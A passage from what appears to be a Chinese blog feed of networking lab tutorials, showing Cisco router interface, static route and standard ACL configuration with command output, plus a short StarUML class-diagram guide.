CNTL/Z.</span><br><span class="line"></span><br><span class="line">Router(config)#hostname R3</span><br><span class="line"></span><br><span class="line">R3(config)#interface fastEthernet 0/0</span><br><span class="line"></span><br><span class="line">R3(config-if)#ip address 192.168.4.1 255.255.255.0</span><br><span class="line"></span><br><span class="line">R3(config-if)#no shutdown</span><br><span class="line"></span><br><span class="line">R3(config-if)#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">R3(config-if)#exit </span><br><span class="line"></span><br><span class="line">R3(config)#interface serial 2/0</span><br><span class="line"></span><br><span class="line">R3(config-if)#ip address 192.168.3.2 255.255.255.0</span><br><span class="line"></span><br><span class="line">R3(config-if)#no shutdown </span><br><span class="line"></span><br><span class="line">R3(config-if)#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface Serial2/0, changed state to up</span><br><span class="line"></span><br><span class="line">R3(config-if)#exit </span><br><span class="line"></span><br><span class="line">R3(config)#</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface Serial2/0, changed state to up</span><br><span class="line"></span><br><span class="line">R3(config)#ip route 0.0.0.0 0.0.0.0 192.168.3.1</span><br><span class="line"></span><br><span class="line">R3(config)#end</span><br><span class="line"></span><br><span class="line">R3#</span><br><span class="line"></span><br><span class="line">%SYS-5-CONFIG_I: Configured from console by console</span><br></pre></td></tr></table></figure></div><p>查看路由表:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">R3#show ip route </span><br><span class="line"></span><br><span class="line">Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP</span><br><span class="line"></span><br><span class="line">​       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area</span><br><span class="line"></span><br><span class="line">​       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2</span><br><span class="line"></span><br><span class="line">​       E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP</span><br><span class="line"></span><br><span class="line">​       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area</span><br><span class="line"></span><br><span class="line">​       \* - candidate default, U - per-user static route, o - ODR</span><br><span class="line"></span><br><span class="line">​       P - periodic downloaded static route</span><br><span class="line"></span><br><span class="line">Gateway of last resort is 192.168.3.1 to network 0.0.0.0</span><br><span class="line"></span><br><span class="line">C    192.168.3.0/24 is directly connected, Serial2/0</span><br><span class="line"></span><br><span class="line">C    192.168.4.0/24 is directly connected, FastEthernet0/0</span><br><span class="line"></span><br><span class="line">S*   0.0.0.0/0 [1/0] via 192.168.3.1</span><br><span class="line"></span><br><span class="line">R3#%IP-4-DUPADDR: Duplicate address 192.168.4.1 on FastEthernet0/0, sourced by 0090.0C46.5567</span><br><span class="line"></span><br><span class="line">%IP-4-DUPADDR: Duplicate address 192.168.4.1 on FastEthernet0/0, sourced by 0090.0C46.5567</span><br></pre></td></tr></table></figure></div></li><li><h3 id="配置PC、服务器"><a href="#配置PC、服务器" class="headerlink" title="配置PC、服务器"></a>配置PC、服务器</h3><h4 id="4-1-分公司主机"><a href="#4-1-分公司主机" class="headerlink" title="4.1 分公司主机"></a>4.1 分公司主机</h4><p>IP:192.168.1.2</p><p>MASK:255.255.255.0</p><p>Gateway:192.168.1.1</p><h4 id="4-2-总公司服务器"><a href="#4-2-总公司服务器" class="headerlink" title="4.2 总公司服务器"></a>4.2 总公司服务器</h4><p>IP:192.168.4.2</p><p>MASK:255.255.255.0</p><p>Gateway:192.168.4.1</p></li><li><h4 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h4><h4 id="5-1-分公司主机-WEB测试"><a href="#5-1-分公司主机-WEB测试" class="headerlink" title="5.1 分公司主机-WEB测试"></a>5.1 分公司主机-WEB测试</h4><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco27.png"                      alt="cisco27"                ></p><h4 id="5-2-分公司主机-Ping测试-ping-192-168-4-2"><a href="#5-2-分公司主机-Ping测试-ping-192-168-4-2" class="headerlink" title="5.2 分公司主机-Ping测试 ping 192.168.4.2"></a>5.2 分公司主机-Ping测试 ping 192.168.4.2</h4><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco28.png"                      alt="cisco28"                ></p></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;一、背景&quot;&gt;&lt;a href=&quot;#一、背景&quot; class=&quot;headerlink&quot; title=&quot;一、背景&quot;&gt;&lt;/a&gt;一、背景&lt;/h2&gt;&lt;p&gt;分公司和总公司分别属于不同的网段，部门之间用路由器进行信息传递，为了安全起见，分公司领导要求部门主机只能访问总公司服务器的W</summary>
      
    
    
    
    
    <category term="网络通信与安全配置" scheme="http://example.com/tags/%E7%BD%91%E7%BB%9C%E9%80%9A%E4%BF%A1%E4%B8%8E%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE/"/>
    
  </entry>
  
  <entry>
    <title>13.配置标准IP-ACL</title>
    <link href="http://example.com/2024/04/12/13-%E9%85%8D%E7%BD%AE%E6%A0%87%E5%87%86IP-ACL/"/>
    <id>http://example.com/2024/04/12/13-%E9%85%8D%E7%BD%AE%E6%A0%87%E5%87%86IP-ACL/</id>
    <published>2024-04-12T08:49:10.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一、背景"><a href="#一、背景" class="headerlink" title="一、背景"></a>一、背景</h2><p>某公司网络中，行政部、销售部和财务部分别属于不同的子网，三个子网之间使用路由器互联。行政部所在的子网为172.16.1.0&#x2F;24，销售部所在的子网为172.16.2.0&#x2F;24，财务部所在的子网为172.16.4.0&#x2F;24。考虑到信息安全的问题，要求销售部不能对财务部进行访问，但是行政部可以对财务部进行访问。通过分析，标准IP ACL可以根据配置的规则对网络中的数据进行多虑。</p><h2 id="二、拓扑图"><a href="#二、拓扑图" class="headerlink" title="二、拓扑图"></a>二、拓扑图</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco23.png"                      alt="cisco23"                ></p><h2 id="三、配置流程"><a href="#三、配置流程" class="headerlink" title="三、配置流程"></a>三、配置流程</h2><ol><li><h3 id="配置R1"><a href="#配置R1" class="headerlink" title="配置R1"></a>配置R1</h3><p>配置:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">Router&gt;en</span><br><span class="line"></span><br><span class="line">Router#conf t</span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">Router(config)#interface fastEthernet 0/0</span><br><span class="line"></span><br><span class="line">Router(config-if)#ip address 172.16.1.1 255.255.255.0</span><br><span class="line"></span><br><span class="line">Router(config-if)#no shutdown </span><br><span class="line"></span><br><span class="line">Router(config-if)#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">Router(config-if)#exit </span><br><span class="line"></span><br><span class="line">Router(config)#interface fastEthernet 1/0</span><br><span class="line"></span><br><span class="line">Router(config-if)#ip address 172.16.2.1 255.255.255.0</span><br><span class="line"></span><br><span class="line">Router(config-if)#no shutdown</span><br><span class="line"></span><br><span class="line">Router(config-if)#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface FastEthernet1/0, changed state to up</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0, changed state to up</span><br><span class="line"></span><br><span class="line">Router(config-if)#exit</span><br><span class="line"></span><br><span class="line">Router(config)#interface serial 2/0</span><br><span class="line"></span><br><span class="line">Router(config-if)#ip address 172.16.3.1 255.255.255.0</span><br><span class="line"></span><br><span class="line">Router(config-if)#no shutdown</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface Serial2/0, changed state to down</span><br><span class="line"></span><br><span class="line">Router(config-if)#exit</span><br><span class="line"></span><br><span class="line">Router(config)#ip route 172.16.4.0 255.255.255.0 serial 2/0</span><br><span class="line"></span><br><span class="line">Router(config)#end</span><br></pre></td></tr></table></figure></div><p>查看interface:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">Router#show ip interface brief </span><br><span class="line"></span><br><span class="line">Interface              IP-Address      OK? Method Status                Protocol </span><br><span class="line"></span><br><span class="line">FastEthernet0/0        172.16.1.1      YES manual up                    up </span><br><span class="line"></span><br><span class="line">FastEthernet1/0        172.16.2.1      YES manual up                    up </span><br><span class="line"></span><br><span class="line">Serial2/0              172.16.3.1      YES manual down                  down </span><br><span class="line"></span><br><span class="line">Serial3/0              unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">FastEthernet4/0        unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">FastEthernet5/0        unassigned      YES unset  administratively down down</span><br><span class="line"></span><br><span class="line">Router#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface Serial2/0, changed state to up</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface Serial2/0, changed state to up</span><br></pre></td></tr></table></figure></div></li><li><h3 id="配置R2"><a href="#配置R2" class="headerlink" title="配置R2"></a>配置R2</h3><p>配置:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line">Router&gt;en</span><br><span class="line"></span><br><span class="line">Router#conf t</span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">Router(config)#interface fastEthernet 0/0</span><br><span class="line"></span><br><span class="line">Router(config-if)#ip address 172.16.4.1 255.255.255.0</span><br><span class="line"></span><br><span class="line">Router(config-if)#no shutdown</span><br><span class="line"></span><br><span class="line">Router(config-if)#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">Router(config-if)#exit</span><br><span class="line"></span><br><span class="line">Router(config)#interface serial 2/0</span><br><span class="line"></span><br><span class="line">Router(config-if)#ip address 172.16.3.2 255.255.255.0</span><br><span class="line"></span><br><span class="line">Router(config-if)#clock rate 64000</span><br><span class="line"></span><br><span class="line">Router(config-if)#no shutdown</span><br><span class="line"></span><br><span class="line">Router(config-if)#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface Serial2/0, changed state to up</span><br><span class="line"></span><br><span class="line">Router(config-if)#exit</span><br><span class="line"></span><br><span class="line">Router(config)#</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface Serial2/0, changed state to up</span><br><span class="line"></span><br><span class="line">Router(config)#ip route 172.16.1.0 255.255.255.0 serial 2/0</span><br><span class="line"></span><br><span class="line">Router(config)#ip route 172.16.2.0 255.255.255.0 serial 2/0</span><br><span class="line"></span><br><span class="line">Router(config)#access-list 1 deny 172.16.2.0 0.0.0.255</span><br><span class="line"></span><br><span class="line">Router(config)#access-list 1 permit 172.16.1.0 0.0.0.255</span><br><span class="line"></span><br><span class="line">Router(config)#access-list 1 permit 172.16.1.0 0.0.0.255</span><br><span class="line"></span><br><span class="line">Router(config)#interface fastethernet 0/0</span><br><span class="line"></span><br><span class="line">Router(config-if)#ip access-group 1 out</span><br><span class="line"></span><br><span class="line">Router(config-if)#end</span><br></pre></td></tr></table></figure></div><p>查看interface:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">Router# show ip interface brief</span><br><span class="line"></span><br><span class="line">Interface              IP-Address      OK? Method Status                Protocol </span><br><span class="line"></span><br><span class="line">FastEthernet0/0        172.16.4.1      YES manual up                    up </span><br><span class="line"></span><br><span class="line">FastEthernet1/0        unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">Serial2/0              172.16.3.2      YES manual up                    up </span><br><span class="line"></span><br><span class="line">Serial3/0              unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">FastEthernet4/0        unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">FastEthernet5/0        unassigned      YES unset  administratively down down</span><br><span class="line"></span><br></pre></td></tr></table></figure></div></li><li><h3 id="配置PC"><a href="#配置PC" class="headerlink" title="配置PC"></a>配置PC</h3><h4 id="3-1-行政部"><a href="#3-1-行政部" class="headerlink" title="3.1 行政部"></a>3.1 行政部</h4><p>ip:172.16.1.10</p><p>MASK:255.255.255.0</p><p>Gateway:172.16.1.1</p><h4 id="3-2-销售部"><a href="#3-2-销售部" class="headerlink" title="3.2 销售部"></a>3.2 销售部</h4><p>ip:172.16.2.10</p><p>MASK:255.255.255.0</p><p>Gateway:172.16.2.1</p><h4 id="3-3-财务部"><a href="#3-3-财务部" class="headerlink" title="3.3 财务部"></a>3.3 财务部</h4><p>ip:172.16.4.10</p><p>MASK:255.255.255.0</p><p>Gateway:172.16.4.1</p></li><li><h3 id="验证测试"><a href="#验证测试" class="headerlink" title="验证测试"></a>验证测试</h3><h4 id="4-1-行政部-ping-财务部-ping-192-168-4-10"><a href="#4-1-行政部-ping-财务部-ping-192-168-4-10" class="headerlink" title="4.1 行政部 ping 财务部 ping 192.168.4.10"></a>4.1 行政部 ping 财务部 ping 192.168.4.10</h4><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco24.png"                      alt="cisco24"                ></p><h4 id="4-2-销售部-ping-财务部-ping-192-168-4-10"><a href="#4-2-销售部-ping-财务部-ping-192-168-4-10" class="headerlink" title="4.2 销售部 ping 财务部 ping 192.168.4.10"></a>4.2 销售部 ping 财务部 ping 192.168.4.10</h4><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco25.png"                      alt="cisco25"                ></p></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;一、背景&quot;&gt;&lt;a href=&quot;#一、背景&quot; class=&quot;headerlink&quot; title=&quot;一、背景&quot;&gt;&lt;/a&gt;一、背景&lt;/h2&gt;&lt;p&gt;某公司网络中，行政部、销售部和财务部分别属于不同的子网，三个子网之间使用路由器互联。行政部所在的子网为172.16.1.0&amp;</summary>
      
    
    
    
    
    <category term="网络通信与安全配置" scheme="http://example.com/tags/%E7%BD%91%E7%BB%9C%E9%80%9A%E4%BF%A1%E4%B8%8E%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE/"/>
    
  </entry>
  
  <entry>
    <title>1.starUML建立类图</title>
    <link href="http://example.com/2024/04/10/1-UML%E5%BB%BA%E7%AB%8B%E7%B1%BB%E5%9B%BE/"/>
    <id>http://example.com/2024/04/10/1-UML%E5%BB%BA%E7%AB%8B%E7%B1%BB%E5%9B%BE/</id>
    <published>2024-04-10T15:08:35.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<ol><li><h4 id="打开starUML，双击Untitled修改名字。"><a href="#打开starUML，双击Untitled修改名字。" class="headerlink" title="打开starUML，双击Untitled修改名字。"></a>打开starUML，双击<code>Untitled</code>修改名字。</h4><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/starUML/uml14.png"                      alt="uml14"                ></p></li><li><h4 id="新建类图-gt-Class-Diagram"><a href="#新建类图-gt-Class-Diagram" class="headerlink" title="新建类图-&gt;Class Diagram"></a>新建类图-&gt;Class Diagram</h4><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/starUML/uml15.png"                      alt="uml15"                ></p></li><li><h4 id="画类图，创建一个Class，右键-gt-Add-gt-Attribute"><a href="#画类图，创建一个Class，右键-gt-Add-gt-Attribute" class="headerlink" title="画类图，创建一个Class，右键-&gt;Add-&gt;Attribute"></a>画类图，创建一个Class，右键-&gt;Add-&gt;Attribute</h4><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240410152752446.png"                      alt="image-20240410152752446"                ></p></li><li><h4 id="添加属性-gt-在右下角出现的属性进行编辑"><a href="#添加属性-gt-在右下角出现的属性进行编辑" class="headerlink" title="添加属性-&gt;在右下角出现的属性进行编辑"></a>添加属性-&gt;在右下角出现的属性进行编辑</h4><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240410153258815.png"                      alt="image-20240410153258815"                ></p></li><li><h4 id="添加方法-gt-选中类，右键Add-gt-Atrribute"><a href="#添加方法-gt-选中类，右键Add-gt-Atrribute" class="headerlink" title="添加方法-&gt;选中类，右键Add-&gt;Atrribute"></a>添加方法-&gt;选中类，右键Add-&gt;Atrribute</h4><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240410153139634.png"                      alt="image-20240410153139634"                ></p></li><li><p>填写方法的属性，右键方法-&gt;Add-&gt;Parameter</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240410155209465.png"                      alt="image-20240410155209465"                ></p><p>右下角填写属性   visibility：public前面是➕，visibility：private前面是➖</p></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;ol&gt;
&lt;li&gt;&lt;h4 id=&quot;打开starUML，双击Untitled修改名字。&quot;&gt;&lt;a href=&quot;#打开starUML，双击Untitled修改名字。&quot; class=&quot;headerlink&quot; title=&quot;打开starUML，双击Untitled修改名字。&quot;&gt;&lt;/a&gt;打开</summary>
      
    
    
    
    
    <category term="UML" scheme="http://example.com/tags/UML/"/>
    
  </entry>
  
  <entry>
    <title>6.配置静态路由</title>
    <link href="http://example.com/2024/04/09/6-%E9%85%8D%E7%BD%AE%E9%9D%99%E6%80%81%E8%B7%AF%E7%94%B1/"/>
    <id>http://example.com/2024/04/09/6-%E9%85%8D%E7%BD%AE%E9%9D%99%E6%80%81%E8%B7%AF%E7%94%B1/</id>
    <published>2024-04-09T14:41:10.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一、背景"><a href="#一、背景" class="headerlink" title="一、背景"></a>一、背景</h2><p>假设校园网内通过一台路由器连接到校园外的另一台路由器上，现要在路由器上做出相应的配置，使校园网内部主机和校园网外部主机相互通信。即通过相关配置，实现网络互联互通，从而实现信息的共享和传递。</p><h2 id="二、拓扑图"><a href="#二、拓扑图" class="headerlink" title="二、拓扑图"></a>二、拓扑图</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco21.png"                      alt="cisco21"                ></p><h2 id="三、配置流程"><a href="#三、配置流程" class="headerlink" title="三、配置流程"></a>三、配置流程</h2><ol><li><h3 id="配置路由器接口的IP地址"><a href="#配置路由器接口的IP地址" class="headerlink" title="配置路由器接口的IP地址"></a>配置路由器接口的IP地址</h3><h4 id="1-1-路由器R1"><a href="#1-1-路由器R1" class="headerlink" title="1.1 路由器R1"></a>1.1 路由器R1</h4><p>配置：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">Router&gt;en</span><br><span class="line"></span><br><span class="line">Router#configure terminal </span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">Router(config)#hostname R1</span><br><span class="line"></span><br><span class="line">R1(config)#interface fastEthernet 0/0</span><br><span class="line"></span><br><span class="line">R1(config-if)#ip address 172.16.1.1 255.255.255.0</span><br><span class="line"></span><br><span class="line">R1(config-if)#no shutdown </span><br><span class="line"></span><br><span class="line">R1(config-if)#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">R1(config-if)#exit </span><br><span class="line"></span><br><span class="line">R1(config)#interface serial 2/0</span><br><span class="line"></span><br><span class="line">R1(config-if)#ip address 172.16.2.1 255.255.255.0</span><br><span class="line"></span><br><span class="line">R1(config-if)#no shutdown </span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface Serial2/0, changed state to down</span><br><span class="line"></span><br><span class="line">R1(config-if)#end</span><br></pre></td></tr></table></figure></div><p>路由器R1端口信息：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line">R1#show ip interface brief </span><br><span class="line"></span><br><span class="line">Interface              IP-Address      OK? Method Status                Protocol </span><br><span class="line"></span><br><span class="line">FastEthernet0/0        172.16.1.1      YES manual up                    up </span><br><span class="line"></span><br><span class="line">FastEthernet1/0        unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">Serial2/0              172.16.2.1      YES manual down                  down </span><br><span class="line"></span><br><span class="line">Serial3/0              unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">FastEthernet4/0        unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">FastEthernet5/0        unassigned      YES unset  administratively down down</span><br><span class="line"></span><br><span class="line">#查看串口信息</span><br><span class="line"></span><br><span class="line">R1#show ip interface serial 2/0</span><br><span class="line"></span><br><span class="line">Serial2/0 is down, line protocol is down (disabled)</span><br><span class="line"></span><br><span class="line">  Internet address is 172.16.2.1/24</span><br><span class="line"></span><br><span class="line">  Broadcast address is 255.255.255.255</span><br><span class="line"></span><br><span class="line">  Address determined by setup command</span><br><span class="line"></span><br><span class="line">  MTU is 1500</span><br><span class="line"></span><br><span class="line">  Helper address is not set</span><br><span class="line"></span><br><span class="line">  Directed broadcast forwarding is disabled</span><br><span class="line"></span><br><span class="line">  Outgoing access list is not set</span><br><span class="line"></span><br><span class="line">  Inbound  access list is not set</span><br><span class="line"></span><br><span class="line">  Proxy ARP is enabled</span><br><span class="line"></span><br><span class="line">  Security level is default</span><br><span class="line"></span><br><span class="line">  Split horizon is enabled</span><br><span class="line"></span><br><span class="line">  ICMP redirects are always sent</span><br><span class="line"></span><br><span class="line">  ICMP unreachables are always sent</span><br><span class="line"></span><br><span class="line">  ICMP mask replies are never sent</span><br><span class="line"></span><br><span class="line">  IP fast switching is disabled</span><br><span class="line"></span><br><span class="line">  IP fast switching on the same interface is disabled</span><br><span class="line"></span><br><span class="line">  IP Flow switching is disabled</span><br><span class="line"></span><br><span class="line">  IP Fast switching turbo vector</span><br><span class="line"></span><br><span class="line">  IP multicast fast switching is disabled</span><br><span class="line"></span><br><span class="line">  IP multicast distributed fast switching is disabled</span><br><span class="line"></span><br><span class="line">  Router Discovery is disabled</span><br><span class="line"></span><br><span class="line">  IP output packet accounting is disabled</span><br><span 